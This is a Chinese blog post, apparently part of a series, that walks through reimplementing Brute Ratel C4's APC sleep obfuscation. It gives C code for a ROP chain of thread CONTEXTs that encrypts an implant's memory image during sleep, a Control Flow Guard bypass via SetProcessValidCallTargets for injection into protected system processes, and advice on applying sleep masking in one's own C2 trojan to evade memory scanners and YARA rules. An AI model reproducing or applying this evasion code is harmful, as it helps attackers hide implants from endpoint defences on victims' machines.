标签 睡眠混淆 下的文章

0x01.前言 在上一篇文章中,分析了BRC4如何利用APC来进行睡眠混淆的。本篇文章中将通过逆向出来的代码作为参考,但可能会有差异,一步步实现APC睡眠混淆加密整个可执行程序。以及如何在C2中集成APC睡眠混淆。 0x02.实现APC睡眠混淆 通过之前的分析我们知道Badger中创建了一个线程(TpReleaseCleanupGroupMembers + 0x450),然后利用了这个线程来获取正常的CONTEXT结构。实现代码如下,实现时为了简单起见,有些地方不使用Nt*Zw*的函数,实际中为了opsec是有必要写的,但这里主要起到演示作用。

C

复制代码
LPVOID TpReleaseCleanupGroupMembers_450 = (UINT_PTR)GetProcAddress(GetModuleHandleA("ntdll.dll"), "TpReleaseCleanupGroupMembers") + 0x450;

DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, 0, TpReleaseCleanupGroupMembers_450, NULL, CREATE_SUSPENDED, &dwThreadId);

然后根据这个线程句柄,获取CONTEXT,并复制到所有的CONTEXT中。

C

复制代码
if (!GetThreadContext(ThreadHandle, &CtxThread)) {
printf("GetThreadContext failed With Error:%lu\n", GetLastError());
return FALSE;
}

memcpy(&RopWaitFor, &CtxThread, sizeof(CONTEXT));
memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
memcpy(&RopSleep, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
memcpy(&RopRtlEtTd, &CtxThread, sizeof(CONTEXT));

现在就可以构造ROP链了,在每一个CONTEXT结构的返回地址写NtTestAlert函数的地址,也就是Rsp寄存器。这样做为了确保能够执行完所有的APC队列回调。 ROP链执行的函数依次为WaitForSingleObject、VirtualProtect、SystemFunction032、WaitForSingleObjectEx、SystemFunction032、VirtualProtect、RtlExitUserThread。我们逆向badger的这个ROP链会发现还会执行ZwGetContextThread -> ZwSetContextThread -> ... -> ZwSetContextThread。之前说过了,这里就是备份一份当前线程(构造ROP链的线程)的CONTEXT结构,然后设置获取fake CONTEXT,主要是为了进行堆栈欺骗,睡眠完成后,在将备份的CONTEXT还原。

C

复制代码
RopWaitFor.Rcx = StartEventHandle;
RopWaitFor.Rdx = INFINITE;
*(PULONG64)RopWaitFor.Rsp = (ULONG64)pNtTestAlert;
RopWaitFor.Rip = WaitForSingleObject;

RopProtRW.Rcx = ImageBase;
RopProtRW.Rdx = ImageSize;
RopProtRW.R8 = PAGE_READWRITE;
RopProtRW.R9 = &oldProtect;
*(PULONG64)RopProtRW.Rsp = (ULONG64)pNtTestAlert;
RopProtRW.Rip = VirtualProtect;

RopMemEnc.Rcx = &Image;
RopMemEnc.Rdx = &Key;
RopMemEnc.Rip = SystemFunction032;
*(PULONG64)RopMemEnc.Rsp = (ULONG64)pNtTestAlert;

RopSleep.Rcx = (HANDLE)-1;
RopSleep.Rdx = SleepTimes * 1000;
RopSleep.R8 = FALSE;
*(PULONG64)RopSleep.Rsp = (ULONG64)pNtTestAlert;
RopSleep.Rip = WaitForSingleObjectEx;

RopMemDec.Rcx = &Image;
RopMemDec.Rdx = &Key;
*(PULONG64)RopMemDec.Rsp = (ULONG64)pNtTestAlert;
RopMemDec.Rip = SystemFunction032;

RopProtRX.Rcx = ImageBase;
RopProtRX.Rdx = ImageSize;
RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
RopProtRX.R9 = &oldProtect;
*(PULONG64)RopProtRX.Rsp = (ULONG64)pNtTestAlert;
RopProtRX.Rip = VirtualProtect;

QueueUserAPC将这些CONTEXT依次插入TpReleaseCleanupGroupMembers + 0x450入口点线程的APC队列,NtAlertResumeThread准备执行APC,NtSignalAndWaitForSingleObject信号StartEventHandle开始执行APC,并等待TpReleaseCleanupGroupMembers + 0x450入口点线程退出。

实现的代码和逆向Brc4的badger睡眠混淆代码基本一致,效果如下:

image-20260113103244238.png

采用固定密钥的话使用SystemFunction032每次加密的内容均相同,我们加密可以使用SystemFunction040,在msdn中被描述为RtlEncryptMemory。

image-20260113103757964.png

解密可以使用SystemFunction041,在msdn中被描述为RtlDecryptMemory。

image-20260113104310662.png

关键是加密的使用使用的是系统内部派生密钥,每次随机密钥加密,使用起来更加方便安全。 0x03.CFG Bypass 这样的代码注入到开启CFG的系统进程中还是会引发崩溃,需要Bypass CFG,在编译属性中开启/guard:cf

image-20260113105028177.png

重新编译后再次允许程序会崩溃,查看异常代码对应0xC0000409(STATUS_STACK_BUFFER_OVERRUN),正是由CFG引起的。在APC队列中回调函数为NtContinue,在开启CFG的情况下,它在CFG的无法间接调用的函数列表,所以会引发错误。

image-20260113105128374.png

我们需要绕过CFG,Brc4 Badger是利用的SetProcessValidCallTargets。

image-20260113114858654.png

SetProcessValidCallTargets在msdn上的定义如下。第一个参数为当前进程句柄。第二参数为目标标记为有效的虚拟内存区域的开始,调试发现传入的地址为ntdll的起始(qword_1003C7C8),这也符合Badger添加到CFG允许列表都是位于ntdll中的函数。第三个参数为虚拟内存区域的大小,需要做按页对齐操作。第四个参数表示添加到CFG允许列表个数为1。最后一个参数为相对于虚拟内存范围的偏移量和标志的列表,指向CFG_CALL_TARGET_INFO结构。此结构的第一个参数函数地址减去ntdll起始地址。第二个参数很重要,描述要对地址执行的操作的标志。 如果设置了CFG_CALL_TARGET_VALID(1),则地址将标记为对CFG有效,从而绕过CFG保护。

image-20260113145013617.png


image-20260113121049401.png

image-20260113145748993.png

整个过程很清楚了,但还需最后一步,判断当前进程是否开启CFG。一种通用的方法是根据PE OptionalHeader的DllCharacteristics来判断编译的时候是否根据CFG来编译的。

image-20260113150817207.png

判断是否开启CFG,以及添加CFG允许列表的相关代码如下,对应Kernel32中也需要实现一个相同的函数来添加VritualProtect和WaitForSingleObject、WaitForSingleObjectEx。执行SetProcessValidCallTargets出现的87错误代码我们直接跳过,这个错误表示目标地址没有受到CFG的保护。

完整的代码我放在github上了,参考 https://github.com/CDipper/SleepMaskingByAPC 查看SetProcessValidCallTargets不难发现,内部就是调用了NtSetInformationVirtualMemory,国外有老哥根据此API二次开发了Ekko(利用计时器队列进行睡眠混淆,很常用,容易被杀),参考 https://github.com/Crypt0s/Ekko_CFG_Bypass/blob/main/Ekko_CFG_Bypass/CFG.c

image-20260114103903645.png

0x04.C2中使用Sleeping Mask C2中使用Sleeping Masking就是在我们的马中每次睡眠的时候把马全部加密不就行了吗?其实并非如此,如果全部加密,对于一些持久化任务(例如keylogger等)执行就会崩溃,这是显然的。在Cobalt Strike中睡眠混淆是在arsenal-kit中实现,其当然也不是将beacon的内存全部加密,Brc4中也是如此。 Cobalt Strike 4.4中首次引入Sleeping Mask的概念。一开始只是简单对一些特征进行加密,后面随着版本的更新逐渐支持对beacon堆内存的加密,以及对更多的内存进行加密。Ekko项目出现了之后,Cobalt Strike也进行了支持,能够加密Sleep Mask的代码,也就是解决了自己不能加密自己的问题。默认的Sleep Mask相关加密代码是能够被类似Elastic等优秀yara规则检测到的,所以加密Sleep Mask的代码很有必要。

image-20241126195748278.png


后面又逐步支持堆栈欺骗,基于LLVM的代码变异技术实现动态生成Sleep Mask,BeaconGate...... 所以在写自己的马时,需要考虑到哪部分内存我能够加密的,那部分内存我不能够加密,往往加密的可能是一块敏感字符串等,以及那块加密代码。